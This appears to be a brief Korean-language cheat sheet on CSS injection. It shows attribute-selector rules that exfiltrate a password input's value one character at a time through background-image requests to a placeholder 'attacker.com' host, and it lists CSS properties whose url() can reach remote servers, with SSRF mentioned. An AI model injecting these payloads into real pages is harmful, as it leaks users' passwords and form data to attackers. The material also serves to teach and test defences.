[Cheat Sheet] CSS Injection

CSS Injection

---

Sequential Importing Chaining

---

CSS 선택자를 이용하여 HTML 태그 내의 value값을 받아올 수 있다.

input[name=password][value^=a]{
    background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
    background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
    background: url('https://attacker.com/9');   
}

---

URL

---

URL() 사용하여 Remote Server나 Hacker Server에 접근할 수 있다. SSRF공격에 사용되곤 한다.

background-image: url("");

list-style-image: url('');

content: url("");

cursor: url();

border-image-source: url();

src: url('');

offset-path: url();

mask-image: url("");


background: url('')

border-image: url("")

---

❗ 저작권 및 참고

https://icons8.com/icon/TZ69zUw6d3Lu/right

Right icon in Flaticons Lineal Color Style

https://icons8.com/icon/NXAECrAk3Vkg/code

Code icon in Pastel Style

https://icons8.com/icon/48250/암호

Code icon in Gradient Line Style